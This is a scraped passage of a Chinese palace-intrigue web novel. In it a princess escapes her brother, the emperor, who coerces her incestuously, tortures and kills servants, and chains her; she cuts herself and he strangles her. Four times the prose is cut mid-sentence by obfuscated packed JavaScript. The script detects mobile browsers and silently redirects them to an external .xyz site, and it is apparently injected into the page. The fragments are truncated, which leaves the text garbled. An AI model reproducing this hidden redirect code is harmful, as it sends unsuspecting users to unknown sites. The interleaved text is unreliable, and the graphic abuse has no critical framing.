御花园曲径通幽，错综复杂，不失为一个绝佳的障眼之地，薛柔考虑好了： 踩上甬道，直投湖畔，假意喂鱼，一举将青萍推入水。 那湖水不很深，将将齐胸，淹不死人，却可有效拖延时间，趁此空隙，她抄近路出御花园，投奔仁寿宫。 说干就干。 一路穿过甬道，粼粼湖水浮现，薛柔佯装临时起意，叫住御花园当值的宫女，讨一些鱼食，移步湖边。 天色已深，青萍担心她一时失足有个好歹，忙紧随后头，刚准备张嘴规劝此处不安全，还是赶紧离开为妙，忽觉胳膊一闪，随即脚下打滑，整个人不受控制地栽入水下，激起丈数高的水花。 此地人迹罕至，又加上是黑夜，并没惊动人，薛柔气都顾不迭舒，拔腿狂奔，循着记忆，走近路离开御花园。 万幸今夜太极殿才是主场，宫人们大多调到那当差了，而仁寿宫里，太皇太后不喜热闹，宫里头的下人寥寥几个，宫外头一样鲜有人迹，除非必要，绝不打搅其清静，托这几层的福，她一道上几乎畅通无阻，偶尔碰见个宫人，因她去势匆匆，压根没辨认出她是谁来，权当是哪个没礼数的疯丫头，背过骂几句罢了。 非要事，太皇太后必然深居简出，即便赶上事情，以太皇太后至尊的地位，称病推却并非难事，比方今晚，皇帝诞辰就以其病体不便而有理有据地缺席了。 薛怀义原就和这位皇祖母不咸不淡，她真病假病，无意深究，他只在意一件事——薛柔必须到场，活要见人，死要见尸。 薛柔气喘吁吁到地方，却见宫门紧闭，宫外空无一人，她不敢停歇，忙把手掌贴上门扇，叩响门扉：“开门，快开门！” 无人回应，她就一直敲，动静大了，总会引人发觉。 果然，里边有个骂骂咧咧的声音越来越近：“哪里来的怅鬼，敲敲叫叫个没完！” 骂得极其不堪入耳，然薛柔不气反喜，水杏般的眼眸里，蓄满迫切。 门打开一条缝，刚好够一个脑袋探出来，却是个长脸尖下巴的宫女，原来满面不耐烦，可定睛瞅出来人是薛柔，神色剧变，忙从内挤出来，低头见礼。 薛柔打断她：“废话少讲，快快带我去见皇祖母！” 得抓紧，没准青萍或霁蓝已然脱身去向薛怀义通风报信了。 她态度不容置疑是一回事，她素日脾气暴躁又是一回事，两方面夹击之下，宫女提心吊胆，点头哈腰让她进来，依然关好门，脚下生风般赶往太皇太后的住处。 太皇太后是个忠实的佛门子弟，每日诵经念佛，现下这个点，正对着一盏明灯执笔抄录佛经，香炉里焚的香袅袅升腾，散发出令人安心的气味。 一派祥和。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799984|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宫女遥引薛柔而来，陈嬷嬷迎面遇着，严肃的老脸皱起一条条惊疑的纹路：“十公主？你不是应当在……” 陈嬷嬷反应敏捷，忽然间意识到什么，转而诘问那宫女：“是你擅自把公主带进来的？” 薛柔在乾清宫总不安生，三天两头要死要活，阖宫上下谁不知道。上个月又干了桩惊天动地的事，险些把慈宁宫的屋顶揭破。 她当日是想摆脱皇帝，那么现在冷不丁上这来，左右无人，十有八九是瞒着皇帝的。以皇帝那个荒唐的性子，搞不好要出泼天的大事！ 陈嬷嬷思来想去行不通，决定拦下薛柔，并劝她原路回去。 “好了，不必解释了。”宫女结结巴巴半晌说不明白，陈嬷嬷可没闲心思陪她空耗，摆手叫停，然后开门见山对薛柔亮明态度：“公主，奴婢虽然不肯定您是为什么来的，但这是其次，重要的是，趁事情没闹得不可收拾前，您赶紧回吧。那位待您不一般，您好好认个错，大家都好。” 薛柔大以为陈嬷嬷只是人过于正经了些，心地不坏，如今真个结结实实地给了她当头一棒。 留给她转圜的时间少得人神共愤，她来不及伤心难过，决然道：“好不好，我要听皇祖母亲口告诉我。你让开。” 趁陈嬷嬷不防，她咬牙拨开她，直闯寝殿。 抄经书需虔诚，最忌讳分神，太皇太后下了苦功，全心全意投入字里行间，未察觉门外的争执及一步步放大的脚步声。 “皇祖母！”门被推开的刹那，一团藕粉色人影快速扑来，于太皇太后面前的书案外跪定，“求皇祖母，出手相救母后脱离苦海！” 太皇太后端直头颅，不觉错愕：“小十？怎的是你？” 此问，非假装。 太皇太后潜心修佛，两耳不闻窗外事，而这程子宫里的乱象，陈嬷嬷又故意避讳提及，太皇太后的确不晓得。 薛柔连磕了三个头，再抬头，前额浮出红红的一角：“皇帝猪狗不如，生囚了母后，拿母后要挟我，若我不与他……不与他苟合，他就要对母后下狠手……求求皇祖母，我实在山穷水尽了！” 言罢，怆然泪下。 消化了一阵子，太皇太后怒然掷笔：“胡闹，简直是胡闹！” 那时王家野心勃勃，利欲的口子越张越大，最后反遭皇帝过河拆桥，太皇太后固然心痛，最终却坦然接受，毕竟权势重要不过性命去。 想如今，连根拔起王家还不够，他皇帝居然荒谬到这步田地，妄想同血亲……如一味放纵不管，这江山早晚毁于一旦！ “……你先起来，容我想一想。”太皇太后愁眉不展道。 终究是皇帝，关乎皇家颜面，张扬得太过，不成体统。 见太皇太后大动肝火，薛柔万般庆幸。 赌对了，兴许皇祖母当真能扭转乾坤！ “不好了，不好了！”陈嬷嬷风风火火撞门进来，半明半暗的脸上遍布惊恐，“守门的宫女瞧见远处火光冲天，正是皇帝的仪驾！” 45. 搜宫 太快了，快到令人措手不及。 薛柔膝行，挪去太皇太后身边，扯住一角衣袍，仰头楚楚可怜道：“皇祖母，他定是来捉我走了……他绝对不会善罢甘休的，我不要走……” 他说过，来日要立她为后，要与她生儿育女，如此令人发指的事，她才不要跟他同流合污，遭受世人唾骂。 她不要。 到底是阅历深，见识过大风大浪，太皇太后临危不乱，示意陈嬷嬷搀她先起来，躲到碧纱橱后。 薛柔心里七上八下，踌躇不前。 太皇太后定定道：“去吧，我倒要瞧瞧，这皇帝揣着什么打算。” 对着她这把老骨头兴风作浪？ 拭目以待吧。 本身就是费力出逃来求庇荫的，薛柔不再矫情，听话藏到碧纱橱后。 隔着一扇薄薄的纱窗，外面影像幢幢，倘若待会薛怀义现身，她是能一眼认出来的。 少顷，声声重叠的脚步乘风传入。 薛柔实在紧张，手不由抓住窗格子，而同处一方天地，同临一种境遇，太皇太后端身宁坐，背不见毫厘佝偻，可见一斑年少时的贵气与意气——无论前路何如，自稳坐高台，岿然不动。 拖长的吱呀声下，程胜伸进半边身子，飞快瞟过屋里，高呼“皇上驾到”，而后让到一侧。 月光与灯光的重合之下，一袭明黄，头顶玉冠的年轻皇帝闲步而来，他的目光却不带一丝一缕的闲气，如鹰隼，所及之处，尽似透明，可洞悉一切。 陈嬷嬷第一个叫唬住了，如鲠在喉，倒费太皇太后操心，主动发话询问来意：“夜已深，皇帝大摇大摆地闯来，所为何事啊？” 薛怀义近前两步，俯视太皇太后，姿态甚是高调：“下人说，十妹妹跑这儿来了。皇祖母，是么？” 口上皇祖母叫着，举止却无半点尊敬，跟以前，判若两人。 太皇太后不显山不露水，声线平静似水：“你也知道，她是你的妹妹。皇帝，江山不是儿戏，你出格了。” 薛怀义浑不在意，笑一笑：“她确实在此，是么？” 出格？ 只要她薛柔放弃顽抗，乖乖出来，他便可以就此收住，否则，他是天子，坐拥万里山河，即便做了更出格的事，谁敢置喙，太皇太后吗？ 脖子底下埋黄土里的一个老货，挑衅得起来么。 太皇太后撇着嘴角，尽显不悦：“皇帝，你真当这天底下没人管得了你了吗？” 此时维护的，不止薛柔，更是自古以来的伦理纲常。 “所以，皇祖母，她在什么地方。” 多费口舌正面辩驳，薛怀义不屑，干脆忽略。 于尖锐之意始终轻描淡写，才是上位者应有的风范。 简直是莫大的羞辱！ 太皇太后拍桌大怒：“竖子放肆，跪下！” 皇帝不急太监急，程胜抢出来，暴斥太皇太后：“大胆！陛下是什么身份，轮得到你这老妇人颐指气使？” 这老贼妇还打量陛下是当年那个看她脸色摸爬滚打的失意太子呢？ 程胜冲出来大吼大叫，彻底把呆滞的陈嬷嬷惊醒。 太皇太后对她有大恩，她这辈子誓死守护太皇太后。这份信念赋予她无穷底气，拼将出去，挥手打了程胜俩耳刮子：“少教的东西，不抽你几嘴巴子，可把你狂死了！” 陈嬷嬷出手狠辣，真给程胜抽懵了，挺着眉毛瞪着眼珠子，大半晌缓不过劲来，竟是薛怀义笑说：“皇祖母打哪搜罗来的奴婢，如此轻狂，再不管教，兴许哪天就爬主子头上了。” 一顿，乜斜着程胜：“去，叫两个人，把这老婆子拖下去，挑了手筋，好叫她长个记性。” 薛柔出逃，破坏了计划，又自以为是地藏身于此，迟迟不肯露面，他很生气，唯有见些新鲜的血，方可消消火。 结实挨了两巴掌，程胜恨得咬牙切齿，指使两个内侍将陈嬷嬷拽下去，并亲自监视行刑。 弹指一瞬间，太皇太后孤立无援，她神色紧绷，脸上岁月的沟壑俱被扯平，好似一块半旧不新的绸缎。 她长长地沉默着，开始重新审视跟前高高立着的人。 薛怀义没心情同一个老妪过多纠缠，薛柔不在视线之下，他从身到心不舒服，必须立刻逮她回身边。 “朕知道你在何处，”愠怒的声音响起，环绕在每一扇碧纱窗外，“早些出来，朕可以原谅你。” 薛柔死咬下嘴唇，瞳底溅起层层苦痛的水花。 那可是皇祖母呀，一定有法子制止薛怀义的……故此，不能轻举妄动，更不能轻言放弃。 她一遍遍告诫自己，稍后付诸行动，以手掩嘴，屏息凝神，绝不发出半点动静，安静得似个死人。 静待片刻，一切如旧。 “来人，搜宫。”薛怀义连连冷笑。 既然她不识抬举，那么，莫怪他不留情面了。 太皇太后顿时横眉竖眼，拍桌怒不可遏道：“我看谁敢！” 究竟是太皇太后，位分高出好几层，底下人多半被震住，呆立原地，面露难色。 日前西南八百里急报，同蛮夷初次交战，便不慎中人圈套，折了些人马，薛怀义极其不快，朝上与群臣商议对策，朝下也不闲着，废寝忘食思虑，另外还有个屡次三番出幺蛾子的薛柔，这程子可谓殚精竭虑，整个人疲惫不堪，尤其脖子不舒坦，酸胀僵硬。 他左右转一转脖颈，才觉强些，心里却仍然存着不痛快，声音像深冬的湖水，凛冽刺骨：“把太皇太后请去乾清宫坐坐，再把仁寿宫的大门关了，然后，给朕搜，一个个都睁大眼睛，别放过任何一个可以藏人的缝隙。” 人多势众，太皇太后无力招架，颤着一双不灵便的老腿，为几个又高又壮的老婆子簇拥着出门，登上步辇，蹒跚往乾清宫坐冷板凳去了。 妨碍一个个踢开，所有人兵分几路，出入仁寿宫的每一扇门，处处留下粗鲁的足迹。 纱窗之后，薛柔满腔无助，目睹大开大合的搜查，她下意识张开步伐，向没人的地方逃走。 哪里黑暗，便向哪里投身。 她提着心，一路弯弯绕绕，临一面高墙住脚。 墙外通往何处，她不了解，但一定能离薛怀义远一些。 她四下环顾，于不远处的墙角下觅见几个圆木凳子，上布厚厚的灰尘，可见是专门闲置于此的。 她左顾右盼，小心翼翼移动那些凳子，旋即上下堆摞起来，确保踩上去勉强够得着墙头。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799985|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼年顽劣，女儿家正经的琴棋书画荒废不学，专拣上树爬墙之类不体面的营生努力，她若有心攀爬，区区一堵墙何足挂齿。 是以，双足离地的同时，双手摸到生硬的墙头砖，只消用一把巧劲，生门便会朝她敞开。 一蹬腿，膝盖顺利着落，她居高展望，敢情这墙后竟大有洞天——翻过去则是后院，有水有木，皇祖母平常礼佛礼乏味了散心的地儿。 高处不胜寒，薛柔有点冷，也有点眼花。 跳吧，轻省些则崴个脚，严重也不过断条腿，总胜过被薛怀义那个疯狗抓回去泄恨的好。 突兀地，黯然的视野渐渐变黄，变红，最后定格在一片片夺目的白上。 到处是光，到处是人，到处是脚步声，嘈杂，混乱，畏惧与迷茫的情绪不容分说包围了心脏，薛柔绝望地发现，自己早已无路可去。 “公主在这，公主在这！” 是一个内侍率先找着薛柔，他雀跃非常，歪着脖子叫喊，双目始终黏着她，显然生怕一个不留神，煮熟的鸭子就飞了。 一呼百应，顷刻间，人自四面八方来，前后左右，退无可退。 绝境，不过如是。 身后，一排排人退避三舍，让入一个挺拔的轮廓。 “继续跑啊，怎么不跑了？” 自然是薛怀义，那群乌合之众的主心骨。 云锦纹袖口以下，薛柔的指甲扣着石砖，越扣越深，很疼。 她低垂视线，打眼相看随风飘逸的裙摆，一言不发。 “都退下。” 周围一圈的脸孔，而薛怀义只看得见她分明蜷缩着，却不合时宜地倔强的背影。 众人奉令，四散退开。 将人尽数撤走，仅留彼此，薛怀义并不担心薛柔二次出逃，除非她愚蠢到冒着断手断脚的风险从墙上一跃而下的地步。 “转过来，下来。”下来，面对他，好好算一算今夜的账。 他静悄悄站在她临时用凳子搭的平台边，向她伸以援手。 薛柔不为所动，她无法说服自己，夜以继日筹措的计划就这么以失败告终了。 “朕本来不准备迁怒他人的。”薛怀义话里有话。 他那段弦外之音，薛柔一清二楚，无非是一次次拿母后胁迫她妥协。 “别告诉我，你急着叫我下去，是在担心我的安危。”她回过头，讥诮道。 薛怀义坦率承认：“是。你这条命是朕的，朕许你生，你便生，朕要你死，你才能死。” “你不是恨我么，”薛柔难得对他心平气和，“为什么不杀了我？” 她忽然发笑：“你应该像我恨你一样地恨我，无时不刻想割破我的喉管，刺穿我的心脏。死，方是报复的终点。” 事到如今，她才切身体验到生不如死的滋味。 真的，干脆死了，一了百了。 像她恨他一般去恨她，要她以死谢罪——不，死太简单了，而且她犯下的罪孽罄竹难书，一死并不能了之，他偏要她饱受痛苦地活着。 最关键的时候，薛怀义走神了，薛柔死去的求生欲又勃勃生长起来。 就是现在，跳下去，头也不回地逃，粉身碎骨地逃。 她心一横，纵身跃下。 46. 落网 情况不算顺利，并非双足先着地，是腰，落地的一瞬间，腰背好撕裂一般，无法挪动，无法喘气。 隔墙飞出一声冷笑：“你最好祈祷你能躲久一些。” 随后，震出一声咆哮：“来人，一炷香内，把她给朕抓回来，若不然，提头来见！” 马上就会有人来捉拿自己，薛柔咬牙忍痛爬起来，漫无目的、一步一瘸地逃窜开来。 四周伸手不见五指，她只顾跑，直至那弯湖中月显入眼底，丧失的方向感失而复得，她自迷失中解脱出来，知道是到仁寿宫后园子那湾湖前了，这无疑代表，前面已经无路可去，而身后的兵卒不消多时就会追来，届时，薛怀义…… 她猛晃头，没勇气再想下去，张皇东张西望，试图找出一条去路。 咚咚咚，成片的踢踏声宛从背后袭来，接踵而至的是音色迥异的“公主！”——来了，他们来了！ “公主，您就打消念想吧，您跑不了的。” “是啊，您老老实实跟我们回去，陛下也许还不至于雷霆大怒。” “公主，我们的身家性命全系在您身上，您就收收心吧！” …… 那些人在劝告她，恳求她。 一簇簇跳动的火把照亮视线，薛柔同一个个追兵，薛怀义的一条条走狗，面面相顾。 “公主，奴才不想对您动粗，您自己走过来，成吗？”喊话之人正是程胜，口吻怨气冲天。 薛怀义怒发冲冠，连程胜这个当之无愧的红人亦遭受了无妄之灾，被撵来擒拿薛柔，想当然心里不舒坦。 薛柔回眸，后面便是静谧的湖，黑不见底。 是跳下去，亲身感受又冷又腥的水包裹身躯，而后灌入口鼻，慢慢窒息的煎熬与绝望？ 或是缴械投降，重新回到薛怀义的阴影之下，承受他的蹂躏与践踏？ 她深深吸一口气，京城的冬夜，寒气逼人，流入鼻腔的冷气开始猖狂，直窜脑顶——其实不必犹豫的，跃下去，以行动告诉他，她是生是死，由她说了算。 薛柔闭上眼，纵身投入幽深的水里。 看吧，睁开眼好好看看，最后是谁嬴谁输。 今夜，注定不太平。 太后连日萎靡的胃口突然活络起来，叫水姑姑吩咐下去，送些羹汤来。水姑姑心中欢喜，忙答应着操办。 屋子里只点着一盏灯，先帝去后，太后变得畏光，白日不出门，晚上尽量少点灯。 那盏灯设在妆台上，太后坐过去，就着朦胧的光，打开妆奁。镜子里折射出一个素衣素面的影子，她已记不大请有多少日子未打扮过了。 妆奁内金玉满载，太后光想要金，拣出一粒金稞，凝视良久，终是长叹放下，苍老的眼尾滑下两滴泪。 许嬷嬷被逐出宫前，太后无比郑重地嘱托过一件事：去西南，向九皇子薛通求援，并非救她，而是救薛柔。 许嬷嬷含泪铭记。 太后想，皇帝一再以她来强迫薛柔，即使有朝一日薛通一马当先闯回来，那她留在这，薛柔定不能割舍，会固执地留恋她这个累赘；只有她死了，薛柔了无牵挂，方有一线生机。 以自己的死，换取薛柔的生，这便是太后做为人母，所尽的最后一次责任。 但，时机未成熟。 西南千里之外，沿途凶险，许嬷嬷孤身跋涉，所有的情形俱往顺利思量，也得小半年，薛通启程回来，又得不短的时日，一去一还，一年打底。 这一年，太后要撑住，若不然，薛柔孤苦无依，该怎么办。 夜半，天际降下点点冰晶，屋檐、墙头、书上、地面，莹白的痕迹无处不在。 今岁的第一场雪，悄然来临。 乾清宫内，年轻有为的帝王面向床帐伫立，帐下，阖眼平躺一个人，她的颜色如飘扬大雪，白得不带丝毫血气。 “陛下……”到上朝的时辰，程胜轻手轻脚进门，偷瞟一眼龙颜，简直黑得可怕，霎时心惊肉跳起来，萌生了畏缩之意，却又不好扔下满朝文武不管，他这个大内总管总得起点作用才是，便硬着头皮继续说：“该……该上朝了，陛下……” 帝王漫不经心一瞥，程胜自己个儿心虚，心理防线恭然破溃，砰一下倒身跪下，额头伏地。 “朕是怎么交代你的。” 程胜心里门儿清，为此悬心了一晚上。他结结巴巴道：“好好地带……带公主去见您……” “很好。”薛怀义说，“那你又是怎么做的。” 程胜快冤枉死了，明明白白是十公主自己硬跳到湖里的，他有多大的能耐拦啊…… 可面对的是皇帝，程胜没那熊心豹子胆推卸责任，一边重重磕头，一面哀切求饶：“奴才没用！奴才该死！但……但求陛下念在奴才效忠您这么多年的份上，留奴才一条狗命吧！” 一只靴子直直踩上程胜俯低的脊梁骨，程胜的脊背，随之塌陷下去，下巴杵在地上，粒粒灰尘扑入鼻子，竟连疼都喊不出来，顶顶狼狈。 “当朕的狗，就该有狗的觉悟——”薛怀义“铁面无私”道，“听话的狗是不会拿忠心主人为筹码讨价还价的。做不到本分听话，那继续留着你这条命，显然碍事。” 薛怀义拿起脚，很是轻盈，程胜却难以爬起来了。 “来啊，把他丢湖里。” ——沉塘，活活淹死。 一个自恃有功而到处作威作福的奴才，留着喘气到今天，已然是皇恩浩荡。 薛怀义所需要的，是绝对的服从，生或死，均三叩九拜千恩万谢的那种。 三条腿的蛤蟆不好找，两条腿的奴才一抓一大把，多的是人为他肝脑涂地。 火把，追兵，薛怀义，湖水……薛柔猛挣扎，看见了灰蒙蒙的天。 原来，死后的世界里，天色是灰白的吗？ “公主？” 霁蓝提半桶银碳，打起门帘进屋来，及至往火盆里添碳，便瞅着两眼呆愣的薛柔，顿时喜之不尽，快步过去细细确认一番，昏迷好几日的薛柔确实是转醒了，忙不迭叫外头扫雪的两个小宫女分别去禀告皇帝、请太医看诊。 吴太医如疾风，照理，薛怀义亦应如骤雨，而前后脚赶来，然而最终到场的仅吴太医而已。 把过脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799986|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，吴太医表明病情无大碍，至于那日从高墙上摔下去前胸后背疼痛难捱，是扯着筋的缘故，未伤着骨头，坚持服药静养些时日就成。 送走吴太医，霁蓝悄悄叫上刚刚差去回禀皇帝的宫女，寻个僻静处问话：“你是怎么和陛下说的，陛下为何没来呢？” 那宫女一五一十回说：“我就说公主醒了，陛下只管低头看奏折，口里‘嗯’了一下，就让我出去。我也猜疑，专门在附近等了一会，实在等不见陛下才回来的。” 当时为了公主，陛下盛怒，不惜把个程胜给活活儿淹死，现今公主可算清醒，反倒平静如水。 霁蓝颔首放那宫女走开，一道寻思，毫无头绪。 接连半个月，薛柔这厢无一人打扰，十分宁静，她呢，自从死里逃生以后，较之从前更为沉默寡言，一整天下来，嘴皮子底下零星蹦三两个字就算好的，药、饭也是可着用，一个人跟一撮死灰似的，青萍霁蓝看在眼里，心都快操碎了。 今儿，二人私下计议，趁散朝的空档，去御前表一表情况，天子毕竟是天子，肯定比她们有法子。 霁蓝贴身服侍薛柔，走不开，青萍因掐着点去的。 不和薛柔较真的时间，薛怀义勤勉朝政，当下正坐在书房阅览奏折。 程胜惨死以后，他的干儿子冯秀得以提拔，此人心眼子实诚，每每逢人总是憨里憨气的，青萍等辈对其人印象蛮不错，远超程胜，偶尔打着照面，都情愿同他攀谈几句。 便是冯秀在门外侯着，瞧见青萍过来，低声示意：“陛下不大高兴，要没什么要紧事，改日再求见吧。” 青萍蹙眉，显露讶异之色：“谁惹陛下动气了？” 又解释因由：“我是为公主来的，是万分要紧的事，靠不了后。” 冯秀欲言又止，待说明也含含糊糊的：“具体的，你就别问了。既然是为公主，那你等着，我先进去通报一下。” 青萍点头，目送冯秀入内。 不多会，冯秀带话出来：“今晚把门开着，陛下要过去。” 青萍不好多言，告别冯秀。 夜，门户大开，青萍约着霁蓝伸长脖子望了又望，始终不见御驾，心里起疑，嘀咕起来：“马上子时了，陛下还来吗？” 及待答，远处一闪一闪，赫然是有人手里提着的灯笼，霁蓝忙扯扯青萍的衣边，提示噤声。 果然，冯秀亲自挑灯，后头跟着两个宫女，随薛怀义漫步前来。 经过眼前之时，霁蓝偷摸一瞥，但见俩宫女手中各自举着个托盘，盘里盛着一坨条状的东西，走起路晃到那东西，还叮当作响，怪吓人的。 霁蓝也不敢直眼盯着瞅，默默迎一行人入屋子，面迎光芒，那神秘之物彻底暴露真容——两根手腕粗细的铁链子，估计抖开来足有一个人那么高！ 青萍也在场，同霁蓝默契地大惊失色。 薛柔不管他们，裹着被子面朝里而卧。 薛怀义款款走近，忽然一把揭开被子，揪她起来，挑眉微笑：“手脚总是不老实，不妨捆起来，就哪里也去不了了——好妹妹，你觉得这个办法怎么样？” 47. 锁链 冰冷的、坚硬的镣铐，那是为薛柔特意铸造的枷锁，势必囚她一生。 “回答朕，”薛怀义将她扯得更近，“是不是只有戴上它，你才能乖一些？” 薛柔哧的一笑：“我跳墙跳湖，摔的淹的都是我自己——这条命是我的，你发什么脾气？” 他因何而恼怒呢？ 正是她屡次三番妄想摆脱他的掌控，甚至一次比一次放肆，宁可豁出性命去对抗他。 她是他的，身子是，心灵是，性命也是，未经他同意，妄图寻死，是罪上加罪！ “你的？”薛怀义盲撕开她的寝衣，惊得后面几个人飞快垂头回避，他灼人的视线射在她胸口那两个黑字上，讽刺且轻薄，“你浑身上下，有什么还是你自己说了算的，嗯？朕的好妹妹。” 薛柔破罐子破摔，也不惦记寻衣物遮挡露在外面的肌肤，反手拔下头上的簪子，笑面直视他：“你以为，凭这两个字，你便好对我随心所欲了是吗？薛怀义，你是不是太妄自尊大了。” 薛怀义傲视她，眼中没有任何世俗的欲望——此刻，他很不满，不满了就会生气，生气了就要以鲜血来化解。 他丢开她，说：“那你可以试试，试一试究竟是朕妄自尊大，还是你自欺欺人。” 薛柔坦然承下他的挑衅，在他狂妄的注视下，挥簪刺向纹在心口上的字迹。 簪子尖利，她也用力，顺利破开口子，血液凝聚为饱满的珠子，化身为一条血线，扑簌簌堕落。 “看好了，看看你自以为的烙印是怎么被我一点点抹除的。”并不感觉疼，反而前所未有地兴奋，“薛怀义，你可千万别眨眼。” ——看看清楚，他所谓的占有，在她这里，不过是他的一场臆想，是个彻头彻尾的笑话。 簪子扎进她的血肉下，她笑靥如花。 由浅入深，从左到右，她的胸口鲜血淋漓，血肉模糊，“皇兄”二字，他铸下的印记，烂在了赤红之下，再也无法辨别了。 薛怀义伸手，夺走那枚染血的发簪，狠心一掷，竟当场断裂。 “你好大的胆子。”他的手，横在薛柔修长的脖颈之间，指尖挤压出失血的白色，“你是不是以为，你在我这，可以不分时间不分场合，永远地横行霸道下去？” 以我自称，是他怒极的表现。 握住脖子的力量不断加大，再收紧，薛柔呼吸困难，却拼尽全力扬起唇，扭曲的笑颜包裹着得意。 他急，他气，他输了。 指节之下，她的气息不可逆转地走向微弱。 她的眼睛通红，凸起道道红血丝，可她依然喜眉笑眼。 她不怕死，反过来，没有一天不想求死的。死了，就是解脱。 薛怀义豁然回神，猛收手，适才捏在股掌之间的人颤颤巍巍跌倒，脸埋在衾被里，肩胛骨起起伏伏，奄奄一息。 如若他未尝及时醒悟，将力度一贯到底，她真的会死的，那绝对不是他乐意的结果。 “好一出激将法，险些中了你的圈套。”薛怀义恢复理智，略一思索，尽然洞察。 他抬一抬胳膊，动一动食指，叫青萍霁蓝过来，平平道：“给公主包扎好。” 二人惶恐照办。 及处理伤口完毕，薛怀义又说：“把链子拴上，每日饭点解开，其余时候不准轻举妄动。” 令是传达给青萍霁蓝两个的，但她们俩闻之，双双惊恐不已，呆傻地杵着没动弹。 “聋了？”薛怀义冷漠道。 俩人浑身一激灵，省去废话，忙托起那粗长的铁链子，强忍不适，先后将薛柔的手脚铐起来。 “希望下一次见面，你学会了审时度势，明白现如今该对谁摇尾乞怜。”薛怀义仍出去两把系在一块的钥匙，青萍手快，双手接着，“别白白辜负了朕对你的期望啊，十、妹、妹。” 最后三个字，叫他故意拖慢压重，极具压迫感。 手脚上铁链子的重量占去了薛柔全身的一半，生生把她整个人压垮了，她缩成小小的一团，驼背趴在榻上，屈辱的泪水闷在松软的被褥里，一呼一吸，鼻子里发酸，嘴巴里发咸，心里发苦。 五脏六腑，没有一样是好的，她如秋日的一个被人遗忘的柿子，孤零零坠如泥水中，摔得稀巴烂。 破碎的她，薛怀义尽收眼底，沉在丹田的气息不禁波动不安——呼吸乱了，眼神涣散了。 此处不可久留，必须尽快离开，若不然，他会忍不住折磨她到死的。 子时的明月，一部分照着薛怀义的肩膀，一部分铺在他的脚底，伴他远去。 伤口愈合的速度出乎薛柔的预料：第二天结痂，第三天发痒，第七天痛感减轻，半个月后血痂开始脱落，数到一个月时，伤处复归平滑细腻——痊愈了，那可憎的字也同消退的疤痕一起，化为乌有，实在可喜可贺。 没了那膈应的痕迹，薛柔心情舒爽，连手脚上的镣铐也觉顺眼了不少，至少可以坦然面对了。 只要绑着她，薛怀义理该不会再向母后、皇祖母发难了，还好，还好。 正漫无边际地胡想着，窗外荡过霁蓝的侧影，一晃而过间，薛柔捕捉到霁蓝惊诧的面容。 霁蓝与青萍，是经过薛怀义严苛训练的，喜怒不形于色乃家常便饭，而相形于青萍，霁蓝性子又更沉敛，城府也更深，这样一个人，焉会随随便便大惊大骇？ 这当中，铁定有猫腻，而且直觉告诉薛柔，恐怕还是跟她有关的。 关于她的…… 是母后，还是皇祖母？ 总不见得是远在千里之外的九哥哥和……崔介吧？！ 薛柔的心好像被一只手揪了起来，反复揉捏着。 她猛摇头，逼着自己把脑子里一茬茬冒头的猜想甩出去。 直觉，虚无缥缈，不可尽信的，一定是想多了，一定是的。 安慰是一码事，飞散的思绪又是一码事——薛柔拖着沉重的枷锁，费力移至窗前，巡睃外面，独见几个洒扫庭院的宫女，不见青萍霁蓝。 她们俩恨不得不吃不喝守在她旁边，如今光天化日，都去哪了？ …… 不对，指定哪里出了岔子！ 越往深里想，越没着落，越心慌意乱，薛柔想出去问个清楚，可身上缚着链子，寻常活动且受限，自由出入和天方夜谭没什么两样。 她心里恨，不管不顾并起手腕，冲一旁的花架砸下去，花架子是木头做的，镣铐是生铁打的，企图借前者摔毁后者，以卵击石罢了。 薛柔跌坐地上，崩溃恸哭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799987|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>为什么，为什么她会过上这般非人的日子，会堕落成这副人不人鬼不鬼的样子？ 她哭诉，她埋怨。 太多的怨恨，要花很久很久才能说尽，可惜她没力气了，她把头枕在残破不堪的架子上，手腕脚腕裸、露的一截，一圈一圈的红印子交错难分，乱人眼球。 